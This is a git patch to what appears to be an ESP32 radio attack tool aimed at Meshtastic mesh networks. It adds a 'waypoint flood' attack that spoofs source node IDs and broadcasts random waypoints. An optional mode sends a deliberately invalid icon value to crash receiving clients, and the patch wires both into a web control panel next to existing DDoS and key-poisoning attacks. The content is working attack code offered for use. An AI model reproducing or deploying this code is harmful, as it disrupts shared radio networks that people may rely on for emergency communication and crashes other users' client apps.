From 3587f244a22c67ec5cece151d8ebd09593052ca5 Mon Sep 17 00:00:00 2001 From: HTotoo Date: Sun, 2 Nov 2025 11:51:10 +0100 Subject: [PATCH] waypoint flood support. with added client crash option --- data/web/index.html | 27 +++++++++++++++++++++++++++ main/TMAttack.cpp | 24 ++++++++++++++++++++++++ main/TMAttack.hpp | 6 +++++- main/main.cpp | 17 ++++++++++++++++- 4 files changed, 72 insertions(+), 2 deletions(-) diff --git a/data/web/index.html b/data/web/index.html index d0c8aaf..84aa0ae 100644 --- a/data/web/index.html +++ b/data/web/index.html @@ -281,6 +281,7 @@ +

Note: A Target Node ID of !ffffffff means the attack will cycle through all seen nodes.

@@ -349,6 +350,25 @@ +
+

Floods the network with waypoints from a selected (or randomly selected) node.

+ +
+ + +
+
+
+
+
+
+
+
+ + +
+
+ @@ -591,6 +611,13 @@ command.params.target_id = document.getElementById('pkipoison-target-id').value; } else if (attack === 'pki_dupe') { command.params.target_id = document.getElementById('pkidupe-target-id').value; + } else if (attack === 'waypoint_flood') { + command.params.target_id = document.getElementById('waypoint_flood-target-id').value; + command.params.min_lat = parseFloat(document.getElementById('min-lat').value); + command.params.max_lat = parseFloat(document.getElementById('max-lat').value); + command.params.min_lon = parseFloat(document.getElementById('min-lon').value); + command.params.max_lon = parseFloat(document.getElementById('max-lon').value); + command.params.crashclient = document.getElementById('flood-clientcrash').checked ? 1 : 0; } logToDebug(`▶️ Starting attack: ${attack}`); diff --git a/main/TMAttack.cpp b/main/TMAttack.cpp index f4fd200..9b5efb9 100644 --- a/main/TMAttack.cpp +++ b/main/TMAttack.cpp @@ -187,6 +187,28 @@ void TMAttack::atkRndNode() { sendDebugMessage("Sent fake node 0x" + std::to_string(srcnode) + ": lat=" + std::to_string(latitude) + ", lon=" + std::to_string(longitude)); } +void TMAttack::atkWaypointFlood() { + uint32_t srcnode = target; + if (srcnode == 0xffffffff) { + srcnode = getRandomTarget(); + } + if (srcnode == 0) { + srcnode = esp_random(); + } + MC_Waypoint waypoint = {}; + uint32_t icon = 0; + if (flood_clientcrash == 1) { + icon = esp_random() + 30; // invalid icon to crash the client + } + uint32_t expire = 1769994122; // 2026-02-02, todo add as a parameter + float latitude = min_lat + static_cast(rand()) / (static_cast(RAND_MAX / (max_lat - min_lat))); + float longitude = min_lon + static_cast(rand()) / (static_cast(RAND_MAX / (max_lon - min_lon))); + uint32_t wpnum = esp_random(); + MeshtasticCompactHelpers::WaypointBuilder(waypoint, esp_random(), latitude, longitude, "WP-" + std::to_string(wpnum), "WP-" + std::to_string(wpnum), expire, icon); + meshtasticCompact->SendWaypointMessage(waypoint, 0xffffffff, 8, srcnode); + sendDebugMessage("Sent waypoint from node 0x" + std::to_string(srcnode) + ": lat=" + std::to_string(latitude) + ", lon=" + std::to_string(longitude)); +} + void TMAttack::loop() { if (meshtasticCompact == nullptr) { return; // Radio not set @@ -211,5 +233,7 @@ void TMAttack::loop() { atkDdos(); } else if (current_attack == AttackType::PKI_DUPE) { atkPkiDupe(); + } else if (current_attack == AttackType::WAYPOINT_FLOOD) { + atkWaypointFlood(); } } \ No newline at end of file diff --git a/main/TMAttack.hpp b/main/TMAttack.hpp index eccd65e..e612671 100644 --- a/main/TMAttack.hpp +++ b/main/TMAttack.hpp @@ -13,7 +13,8 @@ enum class AttackType { NAME_CHANGE, PKI_POISON, DDOS, - PKI_DUPE + PKI_DUPE, + WAYPOINT_FLOOD }; class TMAttack { @@ -67,6 +68,8 @@ class TMAttack { return "ddos"; case AttackType::PKI_DUPE: return "pki_dupe"; + case AttackType::WAYPOINT_FLOOD: + return "waypoint_flood"; default: return "Unknown"; } @@ -81,6 +84,7 @@ class TMAttack { void atkPkiPoison(); void atkDdos(); void atkPkiDupe(); + void atkWaypointFlood(); MeshtasticCompact* meshtasticCompact = nullptr; std::string emoji = "😈"; diff --git a/main/main.cpp b/main/main.cpp index a899a71..cd3675f 100644 --- a/main/main.cpp +++ b/main/main.cpp @@ -92,7 +92,7 @@ void app_main(void) { ESP_LOGI(TAG, "Loading radio config."); config.load_radio(lora_config); meshtasticCompact.loadNodeDb(); - + meshtasticCompact.set_ok_to_mqtt(false); ESP_LOGI(TAG, "Radio initializing..."); meshtasticCompact.RadioInit(RadioType::SX1262, radio_pins, lora_config); ESP_LOGI(TAG, "Radio initialized."); @@ -236,6 +236,21 @@ void handle_start_attack(const char* attack_type, JSON_Object* params) { std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pki_dupe\"}"; ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true); } + if (strcmp(attack_type, "waypoint_flood") == 0 && params != NULL) { + const char* target_id = json_object_get_string(params, "target_id"); + ESP_LOGI("WEB", "Waypoint Flood Attack Params: target_id=%s", target_id); + tmAttack.setTarget(getNodeIdFromCh(target_id)); // not target, but souerce of flood + tmAttack.setAttackType(AttackType::WAYPOINT_FLOOD); + double min_lat = json_object_get_number(params, "min_lat"); + double max_lat = json_object_get_number(params, "max_lat"); + double min_lon = json_object_get_number(params, "min_lon"); + double max_lon = json_object_get_number(params, "max_lon"); + uint8_t crashclient = (uint8_t)json_object_get_number(params, "crashclient"); + tmAttack.setFloodClientCrash(crashclient); + tmAttack.setPosParams(min_lat, max_lat, min_lon, max_lon); + std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"waypoint_flood\"}"; + ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true); + } } void handle_set_config(JSON_Object* params) {